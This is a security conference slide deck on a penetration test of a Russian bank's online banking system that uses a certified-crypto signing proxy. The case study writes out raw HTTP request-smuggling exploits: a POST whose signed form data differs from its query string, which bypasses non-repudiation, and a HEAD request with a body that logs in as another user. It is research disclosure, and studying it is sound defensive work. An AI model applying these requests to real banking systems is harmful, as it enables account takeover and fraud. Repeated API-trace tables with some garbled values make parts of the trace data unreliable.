You Can Be Anything You Want to Be: Breaking Through Certified Crypto in Banking Apps

Andrew Petukhov (Founder/CTO, Solidlab)
George Noseevich (PhD student, MSU)
Dennis Gamayunov (Acting Head, Information Systems Security Lab, MSU)
And along comes...

INTRO

George Noseevich
Andrew Petukhov
Dennis Gamayunov
Part One

There was me, that is Dennis, and my two droogs, that is Georgie and Andrew, and we sat in the lab making up our rassoodocks what to do with the Big Bank’s RBS, a GOST crypto hardened bastard though rare.
What we see

• An RBS, which uses crypto for
  – Non-repudiation
  – Authenticity
  – Protocol security

• RBS comply with Russian Central Bank regulations

• ...unbreakable :~-(

George Noseevich
Andrew Petukhov
Dennis Gamayunov
What's it going to be then, eh?

George Noseevich
Andrew Petukhov
Dennis Gamayunov
What comes with UltraViolence

• Bypass non-repudiation (force RBS to process non-signed requests)
• Bypass second authentication layer (enforced with crypto)
• Which finally allowed to login into RBS as any valid user and file any request to the RBS
And along comes...

SYSTEM UNDER ASSESSMENT

George Noseevich
Andrew Petukhov
Dennis Gamayunov
Target application type (1/3)

• We aim at pentesting financial organizations, who try to:
  – Ensure transport layer security, non-repudiation and authentication
  – Comply with regulations
  – Protect legacy systems
Target application type (2/3)

• Technical best-practices
  – Confidentiality, authenticity, non-repudiation

• Compliance
  – Use of certified crypto

• Business needs
  – In-house vs outsource
  – Solid vs modular
  – Customer does not simply develop his own certified crypto
  – Outsourcing app development to certified crypto writers – never a good idea

George Noseevich
Andrew Petukhov
Dennis Gamayunov
Target application type (3/3)

- **Solution:** crypto hardened thick client + server side application specific crypto proxy
Seeding the arch

Business logic over HTTP

Client side

Server side

Browser

RBS Application

Server

Client side

Server side

George Noseevich
Andrew Petukhov
Dennis Gamayunov
let’s add some REQS

Req++: Transport security & Certified crypto

Browser

Req++: Transport security & Certified crypto

Crypto server powered by certified crypto provider
Terminates tunnel

RBS Application Server

Client side

Browser

Tunnel endpoint

Server side

Crypto server powered by certified crypto provider
Terminates tunnel

RBS Application Server

George Noseevich
Andrew Petukhov
Dennis Gamayunov
a little bit more...

Client side

Browser

Tunnel endpoint

Signs ingress request
Puts everything into custom headers

Server side

Crypto server

Verifies signature
If ok logs for non-repudiation and passes upstream

RBS Application
Server

Trusts custom headers
Matches id from session with id from header

Req++: Authenticity & Non-repudiation

George Noseevich
Andrew Petukhov
Dennis Gamayunov
And along comes...

METHODOLOGY
Common sense suggests

- One doesn’t simply implement application level crypto protocol
- One doesn’t simply implement HTTP client or server from scratch
- Many parsers in a row suggest inconsistencies => possibility for smuggling
Objective

• **Objective:**
  - find differences in HTTP handling at crypto server side and at application server side

• **Exploit:**
  - use differences to bypass signature validation
Basic steps for reversing arch

- Reverse client side features
- Survey server side features
- Fingerprint integration protocol
Dealing with client side crypto

• Which HTTP client and what HTTP parser are used?
  – i.e. windows API or java HttpClient
• What parts of HTTP request are getting signed?
• What additional metadata is attached to requests?
  – how signature is stored?
  – how key ID is passed to the server?
Dealing with client side crypto

• Because nothing ever changes...

  – XML Signature Wrapping
    • another kind of “You can be anything you want to be”
      www.youtube.com/watch?v=RHIkb9yEV1k
    • “Analysis of Signature Wrapping Attacks and Countermeasures”

  – CWE-347: Improper Verification of Cryptographic Signature and related CVE

  – Web App Cryptology: A Study in Failure

  – Now and then: Insecure random numbers

  – Now and then: Improper PKI implementation
Fingerprinting HTTP parsers

• HTTP parameter pollution
  – the same parameter in query or body
  – the same parameter in query and body

• Duplicate headers
  – control headers with metadata
  – Content-Length header

• HTTP parameter contamination
  – which characters are valid for termination of header values?

George Noseevich
Andrew Petukhov
Dennis Gamayunov
Fingerprinting WWW server

• Which HTTP version is supported?
  – does crypto server support multiple HTTP requests per connection?
  – does it support HTTP/0.9

• How does crypto server treat incorrect or duplicate Content-Length headers?

• Which HTTP methods does it support?

• Does crypto server support multipart requests or chunked encoding?
Because nothing ever changes...

- Google for `<HPP bypass WAF>`
- CWE-444: Inconsistent Interpretation of HTTP Requests
- and all the CVE instances related to CWE-444
Fingerprinting integration protocol

• How crypto server communicates validation status and metadata to application server?
  – Meta data is relayed as submitted by the client
  – In yet unknown part of the request
  – How to get into that part?

• HTTP Trace method/Debug interface in web application/Guess/Brute force/Read documentation/Ask developers aka Social engineer

George Noseevich
Andrew Petukhov
Dennis Gamayunov
And along comes...

CASE STUDY

George Noseevich
Andrew Petukhov
Dennis Gamayunov
It all started as an ordinary hack

- Test our shiny RBS web app, they said
- It comes with a certified crypto protection, they said
- Instantly found some common web app bugs
...then the crypto came into play

- Crypto ensures non-repudiation
  - Your crypto-signed attack vectors will be used against you in court
- Crypto ensures authenticity
  - Session hijacking is essentially useless
  - Can't login as other user without his keys
- This greatly reduces severity
Reversing the client

- Closed-source Windows app
- Traffic dump gives no clues
- The protocol is custom, no docs available
- No time for long IDA sessions
- Seems tough 😞
Reversing the client: the lazy way

- Client uses crypto primitives from bundled shared libs
- Library call hooks and API call traces FTW!
- Filter traces to get data that is easy to understand
- API Monitor (bit.ly/37BTzf)
API call trace

<table>
<thead>
<tr>
<th>#</th>
<th>Time of Day</th>
<th>Thread</th>
<th>Category</th>
<th>API</th>
<th>Return Value</th>
<th>Duration</th>
</tr>
</thead>
<tbody>
<tr>
<td>9939</td>
<td>8:30:39.354 PM</td>
<td>9</td>
<td>Uncategorized</td>
<td>cr_buf_encode ( ... )</td>
<td>0</td>
<td>0.0074465</td>
</tr>
<tr>
<td>9941</td>
<td>8:30:39.354 PM</td>
<td>9</td>
<td>Windows Sockets 2</td>
<td>send ( 860, 0x02d13eb8, 2048, 0 )</td>
<td>2048</td>
<td>0.0009130</td>
</tr>
<tr>
<td>9942</td>
<td>8:30:39.370 PM</td>
<td>9</td>
<td>Windows Sockets 2</td>
<td>recv ( 860, 0x04a928f4, 52992, 0 )</td>
<td>4692</td>
<td>0.7914017</td>
</tr>
<tr>
<td>9944</td>
<td>8:30:40.151 PM</td>
<td>9</td>
<td>Uncategorized</td>
<td>cr_buf_decode ( ... )</td>
<td>0</td>
<td>0.0002203</td>
</tr>
<tr>
<td>9947</td>
<td>8:30:40.151 PM</td>
<td>9</td>
<td>Uncategorized</td>
<td>cr_buf_decode ( ... )</td>
<td>0</td>
<td>0.0002187</td>
</tr>
<tr>
<td>9949</td>
<td>8:30:40.151 PM</td>
<td>9</td>
<td>Windows Sockets 2</td>
<td>send ( 988, 0x02d14bfc, 3453, 0 )</td>
<td>3453</td>
<td>0.0001316</td>
</tr>
<tr>
<td>9950</td>
<td>8:30:40.151 PM</td>
<td>9</td>
<td>Windows Sockets 2</td>
<td>recv ( 860, 0x04a928f4, 52992, 0 )</td>
<td>1452</td>
<td>0.0957484</td>
</tr>
<tr>
<td>9952</td>
<td>8:30:40.245 PM</td>
<td>9</td>
<td>Uncategorized</td>
<td>cr_buf_decode ( ... )</td>
<td>0</td>
<td>0.0024314</td>
</tr>
<tr>
<td>9954</td>
<td>8:30:40.260 PM</td>
<td>9</td>
<td>Windows Sockets 2</td>
<td>send ( 988, 0x02d13685, 1660, 0 )</td>
<td>1660</td>
<td>0.0000208</td>
</tr>
</tbody>
</table>
Encrypt user data

<table>
<thead>
<tr>
<th>#</th>
<th>Time of Day</th>
<th>Thread</th>
<th>Category</th>
<th>API</th>
<th>Return Value</th>
<th>Duration</th>
</tr>
</thead>
<tbody>
<tr>
<td>9939</td>
<td>8:30:39.354 PM</td>
<td>9</td>
<td>Uncategorized</td>
<td>cr_buf_encode (...)</td>
<td>0</td>
<td>0.0074465</td>
</tr>
<tr>
<td>9941</td>
<td>8:30:39.354 PM</td>
<td>9</td>
<td>Windows Sockets 2</td>
<td>send (860, 0x02d13eb8, 2048, 0 )</td>
<td>2048</td>
<td>0.0009130</td>
</tr>
<tr>
<td>9942</td>
<td>8:30:39.370 PM</td>
<td>9</td>
<td>Windows Sockets 2</td>
<td>recv (860, 0x04a928f4, 52992, 0 )</td>
<td>4692</td>
<td>0.7914017</td>
</tr>
<tr>
<td>9944</td>
<td>8:30:40.151 PM</td>
<td>9</td>
<td>Uncategorized</td>
<td>cr_buf_decode (...)</td>
<td>0</td>
<td>0.0002203</td>
</tr>
<tr>
<td>9947</td>
<td>8:30:40.151 PM</td>
<td>9</td>
<td>Uncategorized</td>
<td>cr_buf_decode (...)</td>
<td>0</td>
<td>0.0002187</td>
</tr>
<tr>
<td>9949</td>
<td>8:30:40.151 PM</td>
<td>9</td>
<td>Windows Sockets 2</td>
<td>send (988, 0x02d14bfc, 3453, 0 )</td>
<td>3453</td>
<td>0.0001316</td>
</tr>
<tr>
<td>9950</td>
<td>8:30:40.151 PM</td>
<td>9</td>
<td>Windows Sockets 2</td>
<td>recv (860, 0x04a928f4, 52992, 0 )</td>
<td>1452</td>
<td>0.0957484</td>
</tr>
<tr>
<td>9952</td>
<td>8:30:40.245 PM</td>
<td>9</td>
<td>Uncategorized</td>
<td>cr_buf_decode (...)</td>
<td>0</td>
<td>0.0024314</td>
</tr>
<tr>
<td>9954</td>
<td>8:30:40.260 PM</td>
<td>9</td>
<td>Windows Sockets 2</td>
<td>send (988, 0x02d13685, 1660, 0 )</td>
<td>1660</td>
<td>0.0000208</td>
</tr>
</tbody>
</table>
API call trace

What is being encrypted?

<table>
<thead>
<tr>
<th>#</th>
<th>Time of Day</th>
<th>Thread</th>
<th>Category</th>
<th>API</th>
<th>Return Value</th>
<th>Duration</th>
</tr>
</thead>
<tbody>
<tr>
<td>9939</td>
<td>8:30:39.354 PM</td>
<td>9</td>
<td>Uncategorized</td>
<td>cr_buf_encode (...)</td>
<td>0</td>
<td>0.0074465</td>
</tr>
<tr>
<td>9941</td>
<td>8:30:39.363 PM</td>
<td>9</td>
<td>Uncategorized</td>
<td></td>
<td>0.0009130</td>
<td>0.7914017</td>
</tr>
<tr>
<td>9942</td>
<td>8:30:39.372 PM</td>
<td>9</td>
<td>Uncategorized</td>
<td></td>
<td>0.0002187</td>
<td>0.0001316</td>
</tr>
<tr>
<td>9944</td>
<td>8:30:40.363 PM</td>
<td>9</td>
<td>Uncategorized</td>
<td></td>
<td>0.0957484</td>
<td>0.00024314</td>
</tr>
<tr>
<td>9947</td>
<td>8:30:40.372 PM</td>
<td>9</td>
<td>Uncategorized</td>
<td></td>
<td>0.0957484</td>
<td>0.00024314</td>
</tr>
<tr>
<td>9949</td>
<td>8:30:40.382 PM</td>
<td>9</td>
<td>Uncategorized</td>
<td></td>
<td>0.0000208</td>
<td>0.0000208</td>
</tr>
</tbody>
</table>

Parameters: cr_buf_encode (crypt.dll)

<table>
<thead>
<tr>
<th>#</th>
<th>Type</th>
<th>Name</th>
<th>Pre-Call Value</th>
<th>Post-Call Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Stack</td>
<td>uintp</td>
<td>{ uintp = 0x037841a0, intp = 0x037...</td>
<td>{ uintp = 0x037841a0, intp = 0x037...</td>
</tr>
<tr>
<td>2</td>
<td>Stack</td>
<td>intp</td>
<td>{ uintp = 0x00000001, intp = 0x000...</td>
<td>{ uintp = 0x00000001, intp = 0x000...</td>
</tr>
<tr>
<td>3</td>
<td>Stack</td>
<td>intp</td>
<td>{ uintp = 0x02d12f2c, intp = 0x02d...</td>
<td>{ uintp = 0x02d12f2c, intp = 0x02d...</td>
</tr>
<tr>
<td>4</td>
<td>Stack</td>
<td>ppv</td>
<td>{ uintp = 0x000007d0, intp = 0x000...</td>
<td>{ uintp = 0x000007d0, intp = 0x000...</td>
</tr>
</tbody>
</table>
API call trace

What is being encrypted?

George Noseevich
Andrew Petukhov
Dennis Gamayunov
API call trace

What is being encrypted?

George Noseevich
Andrew Petukhov
Dennis Gamayunov
API call trace

What is being signed?

<table>
<thead>
<tr>
<th>#</th>
<th>Time of Day</th>
<th>Thread</th>
<th>Category</th>
<th>API</th>
<th>Duration</th>
</tr>
</thead>
<tbody>
<tr>
<td>9939</td>
<td>8:30:39.354 PM</td>
<td>9</td>
<td>Uncategorized</td>
<td>cr_buf</td>
<td>0.0074465</td>
</tr>
<tr>
<td>9941</td>
<td>8:30:39.398 PM</td>
<td>9</td>
<td>Uncategorized</td>
<td>cr_buf</td>
<td>0.0000913</td>
</tr>
<tr>
<td>9942</td>
<td>8:30:39.398 PM</td>
<td>9</td>
<td>Uncategorized</td>
<td>cr_buf</td>
<td>0.7914017</td>
</tr>
<tr>
<td>9944</td>
<td>8:30:40.440 PM</td>
<td>9</td>
<td>Uncategorized</td>
<td>cr_buf</td>
<td>0.0002203</td>
</tr>
<tr>
<td>9947</td>
<td>8:30:40.440 PM</td>
<td>9</td>
<td>Uncategorized</td>
<td>cr_buf</td>
<td>0.0002187</td>
</tr>
<tr>
<td>9949</td>
<td>8:30:40.440 PM</td>
<td>9</td>
<td>Uncategorized</td>
<td>cr_buf</td>
<td>0.0001316</td>
</tr>
<tr>
<td>9950</td>
<td>8:30:40.440 PM</td>
<td>9</td>
<td>Uncategorized</td>
<td>cr_buf</td>
<td>0.0957484</td>
</tr>
<tr>
<td>9952</td>
<td>8:30:40.440 PM</td>
<td>9</td>
<td>Uncategorized</td>
<td>cr_buf</td>
<td>0.0024314</td>
</tr>
<tr>
<td>9954</td>
<td>8:30:40.440 PM</td>
<td>9</td>
<td>Uncategorized</td>
<td>cr_buf</td>
<td>0.000208</td>
</tr>
</tbody>
</table>

Parameters: cr_buf encode (crypt.dll)

Parameters: cr_sign_buf (sign.dll)

API call trace:

GET /app/do_stuff?arg=value HTTP/1.1 Host: 10.6.28.19 Connection: keep-alive Certificate number: usr849 Form data: arg=value Signature: 1D448190C2B68344F

George Noseevich
Andrew Petukhov
Dennis Gamayunov
API call trace

Send it through the tunnel

<table>
<thead>
<tr>
<th>#</th>
<th>Time of Day</th>
<th>Thread</th>
<th>Category</th>
<th>API Method</th>
<th>Return Value</th>
<th>Duration</th>
</tr>
</thead>
<tbody>
<tr>
<td>9939</td>
<td>8:30:39.354 PM</td>
<td>9</td>
<td>Uncategorized</td>
<td>cr_buf_encode (...)</td>
<td>0</td>
<td>0.0074465</td>
</tr>
<tr>
<td>9941</td>
<td>8:30:39.354 PM</td>
<td>9</td>
<td>Windows Sockets 2</td>
<td>send (860, 0x02d13eb8, 2048, 0)</td>
<td>2048</td>
<td>0.0009130</td>
</tr>
<tr>
<td>9942</td>
<td>8:30:39.370 PM</td>
<td>9</td>
<td>Windows Sockets 2</td>
<td>recv (860, 0x04a928f4, 52992, 0)</td>
<td>4692</td>
<td>0.7914017</td>
</tr>
<tr>
<td>9944</td>
<td>8:30:40.151 PM</td>
<td>9</td>
<td>Uncategorized</td>
<td>cr_buf_decode (...)</td>
<td>0</td>
<td>0.0002203</td>
</tr>
<tr>
<td>9947</td>
<td>8:30:40.151 PM</td>
<td>9</td>
<td>Uncategorized</td>
<td>cr_buf_decode (...)</td>
<td>0</td>
<td>0.0002187</td>
</tr>
<tr>
<td>9949</td>
<td>8:30:40.151 PM</td>
<td>9</td>
<td>Windows Sockets 2</td>
<td>send (988, 0x02d14bfc, 3453, 0)</td>
<td>3453</td>
<td>0.0001316</td>
</tr>
<tr>
<td>9950</td>
<td>8:30:40.151 PM</td>
<td>9</td>
<td>Windows Sockets 2</td>
<td>recv (860, 0x04a928f4, 52992, 0)</td>
<td>1452</td>
<td>0.0957484</td>
</tr>
<tr>
<td>9952</td>
<td>8:30:40.245 PM</td>
<td>9</td>
<td>Uncategorized</td>
<td>cr_buf_decode (...)</td>
<td>0</td>
<td>0.0024314</td>
</tr>
<tr>
<td>9954</td>
<td>8:30:40.260 PM</td>
<td>9</td>
<td>Windows Sockets 2</td>
<td>send (988, 0x02d13685, 1660, 0)</td>
<td>1660</td>
<td>0.0000208</td>
</tr>
</tbody>
</table>
API call trace

Receive encrypted response

<table>
<thead>
<tr>
<th>#</th>
<th>Time of Day</th>
<th>Thread</th>
<th>Category</th>
<th>API</th>
<th>Return Value</th>
<th>Duration</th>
</tr>
</thead>
<tbody>
<tr>
<td>9939</td>
<td>8:30:39.354 PM</td>
<td>9</td>
<td>Uncategorized</td>
<td>cr_buff_encode (...), cr_buff_decode (...)</td>
<td>0</td>
<td>0.0074465</td>
</tr>
<tr>
<td>9941</td>
<td>8:30:39.354 PM</td>
<td>9</td>
<td>Windows Sockets 2</td>
<td>send (860, 0x02d13e8b, 2048, 0)</td>
<td>2048</td>
<td>0.0009130</td>
</tr>
<tr>
<td>9942</td>
<td>8:30:39.370 PM</td>
<td>9</td>
<td>Windows Sockets 2</td>
<td>recv (860, 0x04a28f4, 52992, 0)</td>
<td>4692</td>
<td>0.7914017</td>
</tr>
<tr>
<td>9944</td>
<td>8:30:40.151 PM</td>
<td>9</td>
<td>Uncategorized</td>
<td>cr_buff_decode (...)</td>
<td>0</td>
<td>0.0002203</td>
</tr>
<tr>
<td>9947</td>
<td>8:30:40.151 PM</td>
<td>9</td>
<td>Uncategorized</td>
<td>cr_buff_decode (...)</td>
<td>0</td>
<td>0.0002187</td>
</tr>
<tr>
<td>9949</td>
<td>8:30:40.151 PM</td>
<td>9</td>
<td>Windows Sockets 2</td>
<td>send (988, 0x02d14bcf, 3453, 0)</td>
<td>3453</td>
<td>0.0001316</td>
</tr>
<tr>
<td>9950</td>
<td>8:30:40.151 PM</td>
<td>9</td>
<td>Windows Sockets 2</td>
<td>recv (860, 0x04a92f4, 52992, 0)</td>
<td>1452</td>
<td>0.0957484</td>
</tr>
<tr>
<td>9952</td>
<td>8:30:40.245 PM</td>
<td>9</td>
<td>Uncategorized</td>
<td>cr_buff_decode (...)</td>
<td>0</td>
<td>0.0024314</td>
</tr>
<tr>
<td>9954</td>
<td>8:30:40.260 PM</td>
<td>9</td>
<td>Windows Sockets 2</td>
<td>send (988, 0x02d13685, 1660, 0)</td>
<td>1660</td>
<td>0.0000208</td>
</tr>
</tbody>
</table>
# API call trace

Decrypt the response

<table>
<thead>
<tr>
<th>#</th>
<th>Time of Day</th>
<th>Thread</th>
<th>Category</th>
<th>API</th>
<th>Return Value</th>
<th>Duration</th>
</tr>
</thead>
<tbody>
<tr>
<td>9939</td>
<td>8:30:39.354 PM</td>
<td>9</td>
<td>Uncategorized</td>
<td>cr_buf_encode (...)</td>
<td>0</td>
<td>0.0074465</td>
</tr>
<tr>
<td>9941</td>
<td>8:30:39.354 PM</td>
<td>9</td>
<td>Windows Sockets 2</td>
<td>send (860, 0x02d13eb8, 2048, 0)</td>
<td>2048</td>
<td>0.0009130</td>
</tr>
<tr>
<td>9942</td>
<td>8:30:39.370 PM</td>
<td>9</td>
<td>Windows Sockets 2</td>
<td>recv (860, 0x04a928f4, 52992, 0)</td>
<td>4692</td>
<td>0.7914017</td>
</tr>
<tr>
<td>9944</td>
<td>8:30:40.151 PM</td>
<td>9</td>
<td>Uncategorized</td>
<td>cr_buf_decode (...)</td>
<td>0</td>
<td>0.0002203</td>
</tr>
<tr>
<td>9947</td>
<td>8:30:40.151 PM</td>
<td>9</td>
<td>Uncategorized</td>
<td>cr_buf_decode (...)</td>
<td>0</td>
<td>0.0002187</td>
</tr>
<tr>
<td>9949</td>
<td>8:30:40.151 PM</td>
<td>9</td>
<td>Windows Sockets 2</td>
<td>send (988, 0x02d14bfc, 3453, 0)</td>
<td>3453</td>
<td>0.0001316</td>
</tr>
<tr>
<td>9950</td>
<td>8:30:40.151 PM</td>
<td>9</td>
<td>Windows Sockets 2</td>
<td>recv (860, 0x04a928f4, 52992, 0)</td>
<td>1452</td>
<td>0.0957484</td>
</tr>
<tr>
<td>9952</td>
<td>8:30:40.245 PM</td>
<td>9</td>
<td>Uncategorized</td>
<td>cr_buf_decode (...)</td>
<td>0</td>
<td>0.0024314</td>
</tr>
<tr>
<td>9954</td>
<td>8:30:40.260 PM</td>
<td>9</td>
<td>Windows Sockets 2</td>
<td>send (988, 0x02d13685, 1660, 0)</td>
<td>1660</td>
<td>0.0000208</td>
</tr>
</tbody>
</table>
# API call trace

<table>
<thead>
<tr>
<th>#</th>
<th>Time of Day</th>
<th>Thread</th>
<th>Category</th>
<th>API</th>
<th>Return Value</th>
<th>Duration</th>
</tr>
</thead>
<tbody>
<tr>
<td>9939</td>
<td>8:30:39.354 PM</td>
<td>9</td>
<td>Uncategorized</td>
<td>cr_buf_encode (....)</td>
<td>0</td>
<td>0.0074465</td>
</tr>
<tr>
<td>9941</td>
<td>8:30:39.354 PM</td>
<td>9</td>
<td>Windows Sockets 2</td>
<td>send (860, 0x0213eb8, 2048, 0)</td>
<td>2048</td>
<td>0.0009130</td>
</tr>
<tr>
<td>9942</td>
<td>8:30:39.370 PM</td>
<td>9</td>
<td>Windows Sockets 2</td>
<td>recv (860, 0x04928f4, 52992, 0)</td>
<td>4692</td>
<td>0.7914017</td>
</tr>
<tr>
<td>9944</td>
<td>8:30:40.151 PM</td>
<td>9</td>
<td>Uncategorized</td>
<td>cr_buf_decode (....)</td>
<td>0</td>
<td>0.0002203</td>
</tr>
<tr>
<td>9947</td>
<td>8:30:40.151 PM</td>
<td>9</td>
<td>Uncategorized</td>
<td>cr_buf_decode (....)</td>
<td>0</td>
<td>0.0002187</td>
</tr>
<tr>
<td>9949</td>
<td>8:30:40.151 PM</td>
<td>9</td>
<td>Windows Sockets 2</td>
<td>send (988, 0x02d14bf8, 3453, 0)</td>
<td>3453</td>
<td>0.0001316</td>
</tr>
<tr>
<td>9950</td>
<td>8:30:40.151 PM</td>
<td>9</td>
<td>Windows Sockets 2</td>
<td>recv (860, 0x04928f4, 52992, 0)</td>
<td>1452</td>
<td>0.0957484</td>
</tr>
<tr>
<td>9952</td>
<td>8:30:40.245 PM</td>
<td>9</td>
<td>Uncategorized</td>
<td>cr_buf_decode (....)</td>
<td>0</td>
<td>0.0024314</td>
</tr>
<tr>
<td>9954</td>
<td>8:30:40.260 PM</td>
<td>9</td>
<td>Windows Sockets 2</td>
<td>send (988, 0x0213eb85, 1660, 0)</td>
<td>1660</td>
<td>0.0000208</td>
</tr>
</tbody>
</table>

- Send it back to browser
so it comes like this

GET /login?name=value HTTP/1.1
Host: 10.6.28.19

Browser
Tunnel endpoint
Signs ingress request
Puts everything into custom headers

Client side

Crypto server
Verifies signature
If ok logs for non-repudiation
and passes upstream

Server side

RBS Application Server
Trusts custom headers
Matches id from session with id from header

George Noseevich
Andrew Petukhov
Dennis Gamayunov
and is secured like this

GET /login?name=value HTTP/1.1
Host: 10.6.28.19
Certificate_number: 0x849
Form_data: name=value
Signature: 6B8A57A3EA9C25D77C01F4E957D5752C69F61D3451E87DD18046C51DC9A9AD63C7718708159B7ECF5FC8EDF4424F813DB65EF5E2D21D2F389E03319CA25D7003

Browser

Tunnel endpoint

Crypto server

 Signs ingress request

Trusts custom headers

Matches id from session

with id from header

Client side

Server side

RBS Application

Server

Trusts custom headers

Matches id from session

with id from header

George Noseevich
Andrew Petukhov
Dennis Gamayunov
Further notices

- Proxy signs query string for GET, message body for POST
- The server actually checks that Form_data reflects the query string/body
- The server checks the Cert_num and signature
- The web app checks that cert_num matches the current user
- Kinda unbreakable, heh?
Non-repudiation
Take one

HEAD /bank/welcome?name=value HTTP/1.1
Host: 10.6.28.19

Client side

Browser
Tunnel endpoint

Server side

Crypto server
RBS Application Server

George Noseevich
Andrew Petukhov
Dennis Gamayunov
Non-repudiation
Take one

Client side

Browser  Tunnel endpoint

Server side

Crypto server  RBS Application Server

HEAD /bank/welcome?name=value HTTP/1.1
Host: 10.6.28.19
Certificate_number: 0x849

George Noseevich
Andrew Petukhov
Dennis Gamayunov
Non-repudiation
Take two

POST /bank/welcome?name=value1 HTTP/1.1
Host: 10.6.28.19
Content-Length: 15

name=value2

Client side

Server side

Crypto server

RBS Application Server

Browser
Tunnel endpoint

George Noseevich
Andrew Petukhov
Dennis Gamayunov
POST /bank/welcome?name=value1 HTTP/1.1
Host: 10.6.28.19
Content-Length: 15
Certificate_number: 0x849
Form_data: name=value2
Signature: 3195E979E107731A2572197AB9D8BC01CE2C7EE0C42B97A02393F1263C23E25D2D21E7AA7CB07114491A72750C2EFD1AEEAEB357C874BFB3100336F5BD01C00C
name=value2
Non-repudiation
Take two – Exploit (!!!)

POST /bank/welcome?name=attack-value HTTP/1.1
Host: 10.6.28.19
Content-Length: 15
Certificate_number: 0x849
Form_data: name=common-value
Signature:
3195E979E107731A2572197AB9D8BC01CE2C7EE0C42B97A02393F1263C23E25D2D21E7AA7CB07114491A72750C2EFD1AEAAEB357C874BFB3100336F5BD01C00C

name=common-value
So what?

In Soviet Russia who cares about repudiation?

Where is your evidence?

George Noseevich
Andrew Petukhov
Dennis Gamayunov
Authentication
Log in as any other user

POST http://10.6.28.19/login HTTP/1.1
Host: 10.6.28.19
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
Certificate_number: 0x717
sName=772965163660&sPass=valid.60

Browser
Tunnel endpoint

Client side

Crypto server

RBS Application

Server

Server side
Authentication

Crypto id and session id do not match

Bypass crypto authentication

Client side

Firefox

Crypto server

Tunnel endpoint

RBS Application

Server

Browser

Bypass crypto authentication

Crypto server

Tunnel endpoint

RBS Application

Server

Client side

Authentication

Crypto id and session id do not match

George Noseevich
Andrew Petukhov
Dennis Gamayunov
Authentication

But…

HEAD
http://10.6.28.19/login?sName=772865163421 &sPass=valid.21 HTTP/1.1
Host: 10.6.28.19
Connection: keep-alive
Content-Length: 10

p=nonemptybody
POST http://10.6.28.19/login HTTP/1.1
Host: 10.6.28.19
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

Certificate_number: 0x717

sName=772965163660&sPass=valid.60
Authentication
But...

HEAD
http://10.6.28.19/login?sName=772865163421&sPass=valid.21 HTTP/1.1
Host: 10.6.28.19
Connection: keep-alive
Content-Length: 10
Certificate_number: 0x849

p=nonemptybody
POST http://10.6.28.19/login HTTP/1.1
Host: 10.6.28.19
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
Certificate_number: 0x717

sName=772965163660&sPass=valid.60
And along comes...

WRAP UP

George Noseevich
Andrew Petukhov
Dennis Gamayunov
At first I was like...

• How typical pentester sees custom crypto protocol
But then...

- It looks more intriguing
'I definitely believe that cryptography is becoming less important. In effect, even the most secure computer systems in the most isolated locations have been penetrated over the last couple of years by a series of APTs and other advanced attacks,' Shamir said during the Cryptographers' Panel session at the RSA Conference 2013.
Violent curiosity leads to...

• ...successful bypass
Contacts

George Noseevich
webpentest@bushwhackers.ru

Andrew Petukhov
andrew.petukhov@solidlab.ru

Dennis Gamayunov
gamajun@seclab.cs.msu.su